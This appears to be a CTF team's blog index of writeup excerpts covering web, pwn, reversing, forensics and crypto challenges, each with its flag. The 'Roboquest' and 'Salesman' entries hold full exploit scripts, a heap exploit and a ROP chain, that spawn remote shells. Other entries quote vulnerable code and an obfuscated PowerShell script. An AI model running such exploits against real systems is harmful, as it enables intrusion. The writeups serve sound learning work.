Flag remover

I removed the flag :P Category: web Solver: aes, Liekedaeler, lukasrad02 Flag: GPNCTF{1_L0V3_L3G4CY_F34TUR3S} Writeup This challenge — like a few other web challenges in this CTF — is a nodeJS- and express-based web application. It has four routes that we should examine further. First off, there are the / and /removeFlag.js HTTP GET routes. These only serve static strings but their responses will become important later. There also is an admin bot that can be triggered via the /admin POST route. We can provide an HTML string that is passed into a form field in the home page’s HTML along with the flag in another field. When these two values have been entered, the admin bot’s browser is redirected to the /chal page we will look at later. After the redirect to the page, the browser waits five seconds and then waits for the successful execution of a small JavaScript snippet. Afterwards, it takes a screenshot and returns it to us. ...

June 3, 2024 · 4 min · aes, Liekedaeler, lukasrad02

Never gonna tell a lie and type you

todo Category: Web Solver: lukasrad02 Flag: GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W} Scenario The challenge consists of a web application powered by a single PHP script that receives data from the HTTP POST parameter data and then does a couple of things: The string from the data parameter is parsed as JSON and stored as $user_input. The user agent of the request is compared against the string "friendlyHuman" and requests with any other user agent are aborted. The $user_input->{'user'} property is compared to "admin🤠" and non-admins receive a landing page with a greeting. The $user_input->{'password'} property is passed to a securePassword function and the result is compared to the original password. If the two values don’t match, an error message is returned. If all checks were successful, $user_input->{'command'} is executed in a shell and the output is sent back to the user. The code of the securePassword function is as follows: ...

June 3, 2024 · 3 min · lukasrad02

A fuller solve's what I'm thinking of

I wanted to build an intro rev challenge but it didn’t work as intended when I deployed it to my Rocky 9 server. Maybe you can work around the issue and leak the flag in /flag Category: misc Solver: rgw, aes Flag: GPNCTF{D1d_y0u_st4rt_4_vm_0r_4_b4r3_m3t4l_r0cky_k3rn3l?} Writeup The setup is similar to “A full solve is what I’m thinking of”. However, there is no /catflag binary. Therefore, we don’t have a binary that we can use as the interpreter for an uploaded ELF binary. ...

June 3, 2024 · 3 min · rgw, aes

Dreamer

It would be a shame if you could exploit this sleepy binary. Category: pwn, misc Solver: rgw, abc013, Liekedaeler, MarDN Flag: GPNCTF{sh0rt_she11c0de_1s_c00l} Writeup We are given a compiled binary dream and its source code dream.c: #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/mman.h> #include <string.h> #define ROTL(X, N) (((X) << (N)) | ((X) >> (8 * sizeof(X) - (N)))) #define ROTR(X, N) (((X) >> (N)) | ((X) << (8 * sizeof(X) - (N)))) unsigned long STATE; unsigned long CURRENT; char custom_random(){ STATE = ROTL(STATE,30) ^ ROTR(STATE,12) ^ ROTL(STATE,42) ^ ROTL(STATE,4) ^ ROTR(STATE,5); return STATE % 256; } void* experience(long origin){ char* ccol= mmap (0,1024, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); size_t k = 0; while(k<106){ *(ccol+k) = 0x90; //nop just in case; k++; } k=16; *((int*)ccol) = origin; while(k<100){ *(ccol+k)=custom_random(); k++; } return ccol; } void sleepy(void * dream){ int (*d)(void) = (void*)dream; d(); } void win(){ execv("/bin/sh",NULL); } void setup(){ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } int main(){ setup(); long seed=0; printf("the win is yours at %p\n", win); scanf("%ld",&seed); STATE = seed; printf("what are you thinking about?"); scanf("%ld",&seed); sleepy(experience(seed)); } During execution, we are given the address of the win function that calls execv("/bin/sh",NULL). In experience(), an RWX segment is allocated using mmap. We can supply two values for this segment: ...

June 3, 2024 · 4 min · rgw, abc013, Liekedaeler, MarDN

Gift

A gift from the king. Category: pwn Solver: t0b1, c0mpb4u3r, nh1729 Flag: GPNCTF{new_stuff_and_constraints_a29kd33} Writeup Challenge setup The challenge consists of an x86_64 assembly file gift.s and supporting Makefile and Dockerfile. We have access to the input and output of the compiled assembly via TCP, the flag is in the file /app/flag.txt The challenge binary has only two functions and no linked libraries: .section .text .global _start read_input: # Read 314 bytes + 16 free bytes from stdin to the stack sub $314, %rsp # Make room for the input mov $0, %rax # System call number for read mov $0, %rdi # File descriptor for stdin mov %rsp, %rsi # Address of the stack mov $330, %rdx # Number of bytes to read syscall # Call the kernel add $314, %rsp # Restore the stack pointer ret _start: # Print the message to stdout mov $1, %rax # System call number for write mov $1, %rdi # File descriptor for stdout mov $message, %rsi # Address of the message string mov $message_len, %rdx # Length of the message string syscall # Call the kernel call read_input # Exit the program mov $60, %rax # System call number for exit xor %rdi, %rdi # Exit status 0 xor %rsi, %rsi # I like it clean xor %rdx, %rdx # I like it clean syscall # Call the kernel message: .asciz "Today is a nice day so you get 16 bytes for free!\n" message_len = . - message Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable The read_input can overflow a stack buffer of size 314 with 330 bytes, hence the “16 bytes for free”, setting us up for a 2-pointer ROP chain. Since this is no PIE, we can use gadgets from the tiny binary. ...

June 3, 2024 · 4 min · t0b1, c0mpb4u3r, nh1729

Polyrop-warmup

I picked the wrong path at Cyber Security Rumble 2024’s polypwn challenge and failed. Can you do it with more time and a win function? NOTE: Knowledge of polypwn is not required! Credit to @LevitatingLion for the original challenge and part of the code. Category: pwn Solver: nh1729 Flag: GPNCTF{line_breaks_in_addresses_make_me_sad_a39d9} Writeup Challenge Setup This is a binary exploitation challenge. We get the source of the program to pwn composer.c and a python wrapper composer.py. The program prints a menu to either echo back a line or exit. The twist for this challenge is that the program has been compiled for 5 different architectures: s390x, aarch64, arm, riscv64 and x86_64. ...

June 3, 2024 · 6 min · nh1729

XZ safe

Category: rev Solver: rgw, 3mb0, Greenscreen23, SchizophrenicFish2nds Flag: GPNCTF{B4CKD00R3D_4G41N_d2d4ebde} Writeup This challenge is about a modified version of the XZ backdoor. There is a remote server with its SSH port exposed. We get a modified version of xz version 5.6.0. We first check which files are different between the original xz and the modified version: $ diff -r xz-old/xz-5.6.0/ xz-safe/xz-5.6.0/ Binary files xz-old/xz-5.6.0/tests/files/good-large_compressed.lzma and xz-safe/xz-5.6.0/tests/files/good-large_compressed.lzma differ We follow the writeup at [1] to reverse engineer the backdoor. ...

June 3, 2024 · 4 min · rgw, 3mb0, Greenscreen23, SchizophrenicFish2nds

So many flags

I heard you like flags, so I launched Chrome with a lot of flags so you can get your flag! The flag is in /flag.txt, and the bot will visit the HTML file you uploaded! Category: web Solver: aes, lukasrad02, Liekedaeler Flag: GPNCTF{CL1_FL4G5_4R3_FL4G5_T00} Writeup This challege allows us as the attacker to upload an HTML file to the server. The description already tells us that the server will visit the file we upload and that the flag is located at /flag.txt in the target system. ...

June 3, 2024 · 3 min · aes, lukasrad02, Liekedaeler

todo

I made a JS API! Sadly I had no time to finish it :( Category: web Solver: aes, Liekedaeler, lukasrad02 Flag: GPNCTF{N0_C0MM3NT_b7c62b1e} Writeup We are given the source code of a Node.JS web application. Looking around, we see that the source code consists of a server.js file that runs on the server and a script.js file that is served to the client by the server. Taking a closer look at the server code, we find four HTTP routes that are defined. Let’s take a look at them one after another! ...

June 3, 2024 · 3 min · aes, Liekedaeler, lukasrad02

todo-hard

I made a JS API! Sadly I had no time to finish it :( But I had time to make it harder! Category: web Solver: aes, rgw, lukasrad02 Flag: GPNCTF{TH4T_W45_D3F1N1T3LY_N0T_4N_0V3RS1GHT} Writeup This challenge is extremely similar to the todo challenge in this CTF. To be exact, the two challenges are only different by two lines, precisely the following in the server.js file: // NEW: run JS to replace the flag with "nope" await page.evaluate((flag) => { document.body.outerHTML = document.body.outerHTML.replace(flag, "nope") }, flag) We are working based on the knowledge gained from the todo challenge, so have a look at that writeup here. ...

June 3, 2024 · 3 min · aes, rgw, lukasrad02

Letter to the editor

Old software, good software: Clone and pwn: https://github.com/FirebaseExtended/firepad Category: Web Solver: 3mb0, mp455 Flag: GPNCTF{fun_w1th_0p3n_s0urc3} Scenario The challenge links to the open source software FirePad which is a Collaborative Text Editor Powered by Firebase. Additionally, the challenge provides a simple HTTP instance with the text No admin running at the moment. Start (120s timeout) and the Start link. The link redirects to an intermediate page Your pad link: admin starting up, check back in a moment and after refreshing provides a link to a pad on the public firepad demo site Your pad link: https://demo.firepad.io/#lAAYHJ0FCw. ...

June 1, 2024 · 3 min · mp455

faleval

My friend makes ymmuy faleval, but sometimes he mixes up things… but what can you do? Author: @gehaxelt Category: Web Solver: lukasrad02, aes Flag: ENO{YummY_YummY_Falafel_Expl01tz} Scenario Similar to the other web challenges of this CTF, the challenge consists of a single PHP file. When visiting the web site, we can access the PHP source code via a link. Stripping things like the link to the source code, we are left with the following code: ...

April 4, 2024 · 3 min · lukasrad02, aes

cursedPower

AHHH The field is full of mines! Screw it! I am going in! Authors: @moaath, @Liikt Category: Reversing Solver: lukasrad02 Flag: ENO{H0p3fully_Y0ur_M1ND_D1D_G3t_scr3w3D} Scenario The challenge only consists of a single PowerShell script: ( 'wcyd'|%{${#/~} =+ $()}{ ${@}=${#/~}} { ${/.} = ++${#/~}}{ ${*~}=(${#/~} =${#/~} +${/.})} {${$./} =(${#/~}= ${#/~} + ${/.} )}{${)@}=( ${#/~}=${#/~}+${/.} )} { ${'} =(${#/~} =${#/~}+ ${/.}) } { ${;} = ( ${#/~}=${#/~} + ${/.}) } {${ *-}= ( ${#/~}=${#/~}+${/.})} {${``[+} = ( ${#/~} =${#/~} +${/.} ) } { ${#~=}= ( ${#/~}= ${#/~}+ ${/.} )} { ${``@} ="[" +"$(@{ } ) "[${ *-} ] + "$(@{})"[ "${/.}" +"${#~=}" ]+ "$(@{ })"["${*~}"+"${@}"]+"$? "[${/.} ]+"]" }{${#/~} = "".("$( @{} )"[ "${/.}${)@}" ]+"$(@{ }) "["${/.}${;}"] + "$( @{ } ) "[ ${@}]+ "$(@{} ) "[ ${)@}]+ "$?"[${/.}] + "$( @{ } ) "[${$./} ])}{${#/~} ="$( @{} ) "[ "${/.}${)@}"] + "$( @{ } )"[${)@}] +"${#/~}"[ "${*~}${ *-}"]} ); & ${#/~} ("${#/~} ( ${``@}${/.}${@} +${``@}${/.}${/.}${'}+${``@}${/.}${@}${/.}+ ${``@}${/.}${/.}${;} +${``@}${)@}${'} + ${``@}${/.}${/.}${*~} + ${``@}${/.}${/.}${'} + ${``@}${/.}${@}${@} + ${``@}${/.}${@}${/.} + ${``@}${#~=}${``[+} +${``@}${/.}${/.}${ *-} +${``@}${/.}${@}${$./}+ ${``@}${$./}${*~} + ${``@}${)@}${'} + ${``@}${/.}${/.}${;} + ${``@}${/.}${/.}${)@} + ${``@}${#~=}${ *-} + ${``@}${#~=}${#~=} +${``@}${/.}${@}${/.} + ${``@}${$./}${*~} +${``@}${)@}${``[+}+ ${``@}${/.}${@} )"); . ${#/~} ("${#/~} ( ${``@}${$./}${;} +${``@}${;}${``[+} + ${``@}${/.}${@}${/.} + ${``@}${#~=}${``[+}+ ${``@}${/.}${/.}${ *-} + ${``@}${/.}${@}${$./} + ${``@}${``[+}${@} + ${``@}${/.}${/.}${)@} + ${``@}${/.}${@}${/.} + ${``@}${/.}${@}${*~} +${``@}${/.}${@}${/.} + ${``@}${/.}${/.}${)@}+ ${``@}${/.}${@}${/.}+ ${``@}${/.}${/.}${@}+ ${``@}${#~=}${#~=}+${``@}${/.}${@}${/.}+${``@}${$./}${*~} + ${``@}${;}${/.} +${``@}${$./}${*~} +${``@}${$./}${)@} + ${``@}${``[+}${$./}+ ${``@}${/.}${@}${'} +${``@}${/.}${@}${``[+} + ${``@}${/.}${@}${/.} + ${``@}${/.}${/.}${@} + ${``@}${/.}${/.}${;} + ${``@}${/.}${@}${``[+} +${``@}${/.}${*~}${/.} +${``@}${;}${ *-}+ ${``@}${/.}${/.}${/.}+ ${``@}${/.}${/.}${@} + ${``@}${/.}${/.}${;}+ ${``@}${/.}${@}${'} +${``@}${/.}${/.}${@} + ${``@}${/.}${/.}${ *-}+ ${``@}${/.}${@}${/.}+ ${``@}${$./}${)@} + ${``@}${'}${#~=}+ ${``@}${$./}${;}+${``@}${/.}${*~}${@} + ${``@}${$./}${*~} +${``@}${;}${/.} + ${``@}${$./}${*~} + ${``@}${$./}${;}+ ${``@}${/.}${/.}${;}+ ${``@}${/.}${/.}${)@} + ${``@}${/.}${/.}${ *-} + ${``@}${/.}${@}${/.} + ${``@}${'}${#~=} + ${``@}${/.}${@}${'} + ${``@}${/.}${@}${*~}+${``@}${$./}${*~} + ${``@}${)@}${@} + ${``@}${$./}${;} + ${``@}${/.}${*~}${@} + ${``@}${)@}${/.} +${``@}${$./}${*~} + ${``@}${/.}${*~}${$./}+ ${``@}${$./}${*~}+${``@}${$./}${*~}+ ${``@}${$./}${*~} + ${``@}${$./}${*~} + ${``@}${$./}${;} + ${``@}${/.}${@}${*~} +${``@}${/.}${@}${``[+}+${``@}${#~=}${ *-}+${``@}${/.}${@}${$./} + ${``@}${$./}${*~} +${``@}${;}${/.} +${``@}${$./}${*~} +${``@}${$./}${)@} + ${``@}${;}${#~=}+ ${``@}${ *-}${``[+} + ${``@}${ *-}${#~=} + ${``@}${/.}${*~}${$./}+ ${``@}${ *-}${*~} +${``@}${)@}${``[+} +${``@}${/.}${/.}${*~} +${``@}${'}${/.} + ${``@}${/.}${@}${*~}+${``@}${/.}${/.}${ *-}+ ${``@}${/.}${@}${``[+} + ${``@}${/.}${@}${``[+}+${``@}${/.}${*~}${/.} +${``@}${#~=}${'} + ${``@}${``[+}${#~=}+${``@}${)@}${``[+} + ${``@}${/.}${/.}${ *-} + ${``@}${/.}${/.}${)@}+ ${``@}${#~=}${'} + ${``@}${ *-}${ *-} + ${``@}${)@}${#~=}+${``@}${ *-}${``[+} +${``@}${;}${``[+} + ${``@}${#~=}${'}+ ${``@}${;}${``[+} + ${``@}${)@}${#~=} + ${``@}${;}${``[+}+${``@}${#~=}${'} + ${``@}${ *-}${/.}+${``@}${'}${/.}+ ${``@}${/.}${/.}${;}+ ${``@}${#~=}${'}+ ${``@}${/.}${/.}${'} + ${``@}${#~=}${#~=}+ ${``@}${/.}${/.}${)@}+${``@}${'}${/.}+ ${``@}${/.}${/.}${#~=} + ${``@}${'}${/.} +${``@}${;}${``[+} + ${``@}${/.}${*~}${'} +${``@}${$./}${)@} + ${``@}${'}${#~=}+ ${``@}${$./}${*~} + ${``@}${$./}${*~} +${``@}${$./}${*~} + ${``@}${$./}${*~} +${``@}${``[+}${ *-} + ${``@}${/.}${/.}${)@} + ${``@}${/.}${@}${'} + ${``@}${/.}${/.}${;} + ${``@}${/.}${@}${/.} + ${``@}${)@}${'} + ${``@}${ *-}${*~}+${``@}${/.}${/.}${/.} +${``@}${/.}${/.}${'} + ${``@}${/.}${/.}${;}+ ${``@}${$./}${*~} +${``@}${$./}${)@} + ${``@}${/.}${@}${@} +${``@}${/.}${/.}${/.} +${``@}${$./}${*~} +${``@}${/.}${/.}${@} + ${``@}${/.}${/.}${/.}+${``@}${/.}${/.}${;} +${``@}${$./}${*~} + ${``@}${/.}${@}${/.}+${``@}${/.}${*~}${@} + ${``@}${/.}${@}${/.} +${``@}${#~=}${#~=}+ ${``@}${/.}${/.}${ *-} +${``@}${/.}${/.}${;} + ${``@}${/.}${@}${/.}+ ${``@}${$./}${*~} + ${``@}${/.}${/.}${ *-}+${``@}${/.}${/.}${@} + ${``@}${/.}${@}${ *-} + ${``@}${/.}${/.}${@}+${``@}${/.}${/.}${/.}+${``@}${/.}${/.}${#~=}+ ${``@}${/.}${/.}${@} +${``@}${$./}${*~} + ${``@}${``[+}${@} + ${``@}${/.}${/.}${/.}+ ${``@}${/.}${/.}${#~=} +${``@}${/.}${@}${/.} +${``@}${/.}${/.}${)@} + ${``@}${``[+}${$./} +${``@}${/.}${@}${)@}+ ${``@}${/.}${@}${/.} + ${``@}${/.}${@}${``[+} + ${``@}${/.}${@}${``[+} + ${``@}${$./}${*~} + ${``@}${#~=}${#~=} + ${``@}${/.}${/.}${/.}+ ${``@}${/.}${@}${@} +${``@}${/.}${@}${/.}+ ${``@}${$./}${)@}+ ${``@}${'}${#~=} + ${``@}${$./}${*~}+${``@}${$./}${*~}+${``@}${$./}${*~} + ${``@}${$./}${*~}+ ${``@}${$./}${;} + ${``@}${/.}${@}${*~} + ${``@}${/.}${@}${``[+} +${``@}${#~=}${ *-} + ${``@}${/.}${@}${$./}+ ${``@}${$./}${*~} +${``@}${;}${/.} + ${``@}${$./}${*~} + ${``@}${$./}${)@} + ${``@}${ *-}${``[+}+ ${``@}${/.}${/.}${/.} + ${``@}${/.}${/.}${*~} + ${``@}${/.}${@}${/.} + ${``@}${$./}${)@}+ ${``@}${'}${#~=} +${``@}${/.}${*~}${'})") Our goal seems to be to understand what this script does. ...

March 25, 2024 · 6 min · lukasrad02

Lost in Parity

Lost in Parity I deleted the flag. python3 xor.py ./f* > xor rm xor.py flag.txt Author: @miko Category: misc Solver: frcroth, mp455 Flag: ENO{R41D1NG_F1L3S_4R3_W3?} The challenge gives us a bunch of files - 255 files and the xor-file. A quick random sample of wc -c suggests that all files including the xor-file have the same size: 26 bytes. The challenge description hints that the xor-file might be the result of applying the xor-operation to the 255 files and the flag.txt. Due to the associativity of the xor-operation, we can simplify the calculation to files ⊕ flag = xor with files being the xor-result of all files (except the xor-file). Because the inverse element for the xor-operation is the element itself, we can calculate the flag as flag = files ⊕ xor. ...

March 21, 2024 · 2 min · frcroth, mp455

Itchy Route

Itchy Route Get straight to the point and list your options! Category: misc Solver: frcroth, mp455 Flag: ENO{4NY_M0R3_QU35T10N5M4RK5_0C?N?} When connecting to this challenge, nothing greets us and if we are polite and ask “hello”, it responds with: Request contained some illegal characters: “hello” Also, when we take too long, we get different errors, e.g.: Request timeout: firewall getting suspicious. This already tells us that we probably need to use a script to interact here, since we won’t be able to type quickly enough. But we still didn’t know any way to communicate. Since illegal characters are mentioned, our next idea was to try all characters and see if we get a different answer than illegal characters. We used a small script with pwntools and got some different answers for “0”, “c”, “n”, “.”, “?”, “C”, “N”, “/”. Then we tried these chars: ...

March 20, 2024 · 3 min · frcroth, mp455

missingcat

missingcat Where is my cat? 😿 Category: misc Solver: frcroth, mp455 Flag: ENO{0xCAT_BUT_H4PP1_THANK_Y0U!} We were given the following script: import subprocess cmd = input("Give me your command: ") if len(cmd) > 2: print("Command is too long!") try: cmdstring = [cmd, "flag.txt"] print(f"Executed command: {cmdstring}") result = subprocess.check_output(cmdstring, timeout=1) except: result = b"No 😿" print(result.decode()) So we need to find a command that gives us the flag and whose name is only 2 letters long. Now one could think about this for a while, or write a script that automatically checks all 2 letter commands. ...

March 20, 2024 · 2 min · frcroth, mp455

Timecode

Timecode Times change you, and numbers. Category: misc Solver: frcroth, mp455 Flag: ENO{S0M3_J4V4_1NT3G3R5_4R3_C4CH3D} When we connect to the host, we get a challenge: Registered as user b6ee888b-6f24-4049-b0e2-ee227233973f New Challenge (2024-03-20T19:57:49.535Z) 69 51 97 43 01 65 After trying out some values, sending the same numbers gives a cryptic response: 69 51 97 43 01 65 ‘85’ is not equal to ‘69’ ‘66’ is not equal to ‘51’ ‘79’ is not equal to ‘97’ ‘86’ is not equal to ‘43’ ‘127’ is not equal to ‘01’ ‘95’ is not equal to ‘65’ Challenge failed. Connection closed. ...

March 20, 2024 · 4 min · frcroth, mp455

Airshop Incognito

The latest wave of phishing documents has our team stumped. Figure out what they are doing and get the flag. Category: Forensics Solver: lmarschk, mp455 Flag: HTB{hT4_j4V@sCr1pT_vBs_0h_mY!} Writeup Summary: Deobfuscate the Makro and the JS Script We get a phishing document airship_incognito.doc. When we open the document we get the notification that this document contains macros. Inside the document we see an image that invotes us to the “unveiling of the airship incognito”. But below the image we notice an unreadable text with a tiny font size. ...

August 9, 2022 · 2 min · lmarschk, mp455

Buzzword Soup

“Random nonces? Where we’re going, we don’t need random nonces!” - D. Brown Category: crypto Solver: 3mb0, nh1729 Flag: HTB{buzzw0rd_s0up_h45_n3v3r_t45t3d_s0_g00d} Writeup For this challenge, we were given a python script that processes the flag and some other file alongside its output and additional files used . import random from Crypto.Util.number import bytes_to_long from functools import reduce def buzzor(b1, b2): return bytes([_b1 ^ _b2 for _b1, _b2 in zip(b1, b2)]) def buzzrandom(): return bytes([random.randrange(0, 2) for _ in range(keylen)]) flag = bytes_to_long(open("flag.txt", "rb").read()) buzzwords = open("bee_movie.txt", "rb").read() keylen = 0xbb buzzword_soup = [buzzwords[i:i+keylen] for i in range(0, len(buzzwords), keylen)][:-1] buzzcount = len(buzzword_soup) with open("output.txt", "w") as f: while flag: bit = flag & 1 flag >>= 1 output = "" for _ in range(0xb): keycount = random.randrange(buzzcount//4, buzzcount//2) keys = random.sample(buzzword_soup, keycount) out = reduce(buzzor, keys) if bit: output += out.hex() else: output += buzzor(out, buzzrandom()).hex() f.write(output + "\n") From the script we learn that every line in the output corresponds to one bit of the flag. ...

August 9, 2022 · 3 min · 3mb0, nh1729

New Era

New Era Now that Microsoft will disable Macros coming from the web, APT groups look for alternative ways to bypass MOTW. Thus, our SOC team analyses daily, dozens of different container-based malicious document in different file formats. Make sure you analyse this document properly although it seems to be safe. Category: Forensics Solver: 3mb0, mp455 Flag: HTB{sch3dul1ng_t4sks_1s_c00l_but_p0w3rsh3ll_w1th0ut_p0w3rsh3ll_1s_c00l3r} Writeup Summary: Decompile and deobfuscate the VBA p-code. Microsoft wants to fight the macro malware incident rate by denying all macros from documents that are downloaded from the web and therefore have the “Mark of the Web” (MOTW) [1]. In our case we got office.iso containing office.doc. This way the iso file has the MOTW but when mounting / extracting the iso the doc file has not the MOTW. When we open the document we get the notification about macros. When we try to open the macros source code with the integrated IDE we see an almost blank macro file. That’s weird. Analysing the document with olevba [2] we get the warning that “VBA Stomping was detected: the VBA source code and P-code are different, this may have been used to hide malicious code”. With this we get to know VBA Stomping [3] and what p-code is [4]. Understanding what p-code is we can dump it out of the document with pcodedmp [4]. As p-code is a hardly readable format we searched for p-code decompiler and found pcode2code [5]. The decompiler produces VBA code, of course obfuscated - but even more shocking, it was also broken code. The VBA code contains some strings that look like base64 and some complicated functions. Decoding the base64 strings results in not readable bytes. Reimplementing the code in python took us too long. So we took our time to learn more and more about the VBA syntax and was able to fix the syntax errors. Executing the decoding functions we could transform the non readable base64-looking code into: ...

August 9, 2022 · 2 min · lmarschk, mp455

Pierce

We just launched our brand new pierce inventory which has wide variety of antique jewellery collection. Order before we run out of the stock. Category: Cloud Solver: rgw, linaScience Flag: HTB{f0rg3ry_t0_IMDS_1s_fun!!!} Writeup We get an IP address and run a full port scan with host detection (nmap -p- -A). We see three open ports: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | [...] 8000/tcp open http Werkzeug httpd 2.0.3 (Python 3.8.10) |_http-title: Site doesn't have a title (application/json). |_http-favicon: Unknown favicon MD5: 05D7D8C4C62484FB5DB1C78E05D739A1 | http-methods: | Supported Methods: OPTIONS DELETE PUT POST HEAD GET |_ Potentially risky methods: DELETE PUT |_http-server-header: Werkzeug/2.0.3 Python/3.8.10 9000/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Pierce Shopping | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: Apache/2.4.41 (Ubuntu) When requesting port 8000, we get the JSON response {"Server":"Localstack","Status":"running"}. We find out that Localstack [1] is a fully functional local cloud stack. It seems like port 8000 is its exposed management port. Since access to the management port is unauthenticated by default, we use the AWS CLI tool [2] to interact with it: ...

August 9, 2022 · 3 min · rgw, linaScience

Relic

Relic In some long-forgotten cave, you’ve come across a strange relic of the distant past. Can you reawake it and uncover its secrets? Category: rev Solver: lmarschk, t0b1 Flag: HTB{c0r3_dump5_4r3_c00l_f0r_d3bugg1ng} Writeup Coredump and original script given. Script encrypts a flag, then aborts to generate coredump. Coredump still contains the key. We can get the start of the key by XORing the HTB{ string with the given encrypted flag. Using the start of the key, we can search the coredump for the original key. ...

August 9, 2022 · 1 min · lmarschk, t0b1

Roboquest

In order to automate our procedures, we have created this data collector steam robot that will go out and ask questions on random citizens and store the data in his memory. Our only problem is that we do not have a template of questions to insert to the robot and begin our test. Prepare some questions and we are good to go! Category: pwn Solver: t0b1 Flag: HTB{r0b0fl0w_tc4ch3_p01s0n} Writeup Libc given, 2.27 Challenge allows to create, modify, show, and delete questions Using show, we can leak the heap and libc base address Modifying a challenge gets the question size via strlen This is problematic, as when using malloc chunks of size 0x8 we can overwrite the size metadata of the following chunk Therefore, we have at least one byte into the metadata of the following chunk Similar to the House of Einherjar and digiheap challenge from last year described here https://d4rk-kn1gh7.github.io/HTB21-Digiheap/ See solve script below Solve script # Solution similar to https://d4rk-kn1gh7.github.io/HTB21-Digiheap/ # This might need multiple attempts when address leaks # contain null bytes. from pwn import * LOCAL = False DEBUG = False remote_ip, port = '159.65.56.112', 32297 binary = './robo_quest' elf = ELF(binary) libc = ELF(".glibc/libc.so.6") context.terminal = ['tmux', 'splitw', '-h'] context.arch = "amd64" context.log_level = "info" # context.aslr = False re = lambda a: p.recv(a) reu = lambda a: p.recvuntil(a) rl = lambda: p.recvline() s = lambda a: p.send(a) sl = lambda a: p.sendline(a) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) libc = ELF(".glibc/libc.so.6") if LOCAL: if DEBUG: p = gdb.debug(binary, gdbscript=''' break *main+202 c ''') else: p = process(binary) else: p = remote(remote_ip, port) def choice(idx): sla("> ", str(idx)) def create(size, question): choice(1) sla("Question's size: ", str(size)) sa("Insert question here: ", question) def show(idx): choice(2) sla("Question's id: ", str(idx)) def modify(idx, question): choice(3) sla("Question's id: ", str(idx)) sa("New question: ", question) def remove(idx): choice(4) sla("Question's id: ", str(idx)) junk = 8 * b'A' # Leak heap via tcache next ptr create(16, junk) create(16, junk) remove(1) remove(0) create(16, b'A') show(0) reu(b'Question [0]: A') tcache_fd = u64((b"\x00" + rl().strip()).ljust(8,b"\x00")) # Offset to heap start found by debugging with GDB and running `vmmap` heap_start = tcache_fd - 0x200 info(f'heap starts at: 0x{heap_start:x}') # Cleanup remove(0) # Leak libc via unsorted bin create(0x500, junk) create(0x500, junk) remove(0) create(0x500, b'A') show(0) reu(b'Question [0]: A') main_arena = u64((b"\x00" + rl().strip()).ljust(8,b"\x00")) info(f'main arena: 0x{main_arena:x}') # Offset to libc start found by debugging with GDB and running `vmmap` libc.address = main_arena - 0x3ebc00 info(f'libc at: 0x{libc.address:x}') system = libc.symbols['system'] info(f'system: 0x{system:x}') free_hook = libc.symbols['__free_hook'] info(f'free_hook: 0x{free_hook:x}') # Cleanup remove(0) remove(1) # Exploit using House of E fake_chunk_address = heap_start + 0x2a0 fake_chunk_payload = p64(0x0) fake_chunk_payload += p64(0x325) fake_chunk_payload += p64(fake_chunk_address) fake_chunk_payload += p64(fake_chunk_address) info(f'Fake chunk starts at: 0x{fake_chunk_address:x}') info(f'Setting up heap') create(0x108, fake_chunk_payload) # Fake chunk create(0x108, junk) create(0x108, cyclic(0x108)) # use this to overwrite next chunks prev_in_use create(0x4f8, junk) # to overflow create(0x108, junk) create(0x28, b'/bin/sh\x00') info(f'Using null byte overflow to set PREV_IN_USE') null_byte_trigger = b'a' * 0x100 + p64(0x320) + b'\x00' modify(2, null_byte_trigger) info(f'Freeing corrupted buffer') remove(3) info(f'Freeing filler') remove(4) info(f'Freeing tcache poison target') remove(1) # tcache poison tcache_poison = b'a' * 0xf8 tcache_poison += p64(0x111) tcache_poison += p64(free_hook) info(f'Creating new chunk to poison tcache fd') create(0x200, tcache_poison) info(f'Creating first chunk') create(0x108, junk) # Overwrite free hook info(f'Creating chunk to overwrite free hook') create(0x108, p64(system)) # Free chunk with '/bin/sh' info(f'Freeing chunk with /bin/sh to trigger free hook') remove(5) info(f'Enjoy shell!') p.interactive()

August 9, 2022 · 3 min · t0b1

Salesman

I see you are new in town adventurer! Here you can pick whatever you want to continue your journey. Need a pet companion? Our arachnoids are the best. Ready to fight? Our pistols are here for you. Lost in time? Our watch will definately save you! Category: pwn Solver: t0b1, s3rp3ntL0v3r Flag: HTB{00b_4nd_p1v0t_2_th3_st34m_w0rld!} Writeup See solve script below. Solver from pwn import * LOCAL = False HOST = '167.172.52.221' PORT = 30371 CHALLENGE = './salesman' context.terminal = ['tmux', 'splitw', '-h'] # context.arch = "amd64" context.log_level = "info" context.binary = elf = ELF(CHALLENGE) re = lambda a: p.recv(a) reu = lambda a: p.recvuntil(a) rl = lambda: p.recvline() s = lambda a: p.send(a) sl = lambda a: p.sendline(a) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) p = gdb.debug(CHALLENGE, '') if LOCAL else remote(HOST, PORT) rop = ROP(elf) rop.mprotect(0x400000, 0x1000, 0x7) rop.read(0, 0x400000, 0x100) rop.call(0x400000) payload = b'A' * 8 payload += rop.chain() # Overwrite base pointer sla(b'Item: ', '-2') sla(b'> ', payload) # As we overwrite the base pointer and the menu for loop checks # relative to the $rbp whose memory is initialized with 0, # we do three rounds instead of two. for i in range(2): info(f'Run {i+1}') sla(b'Item: ', '0') sla(b'> ', b'a') info('Done') info('Done') shell = asm(shellcraft.sh()) p.sendline(shell) p.interactive()

August 9, 2022 · 2 min · t0b1, s3rp3ntL0v3r

Somewhat Correlated

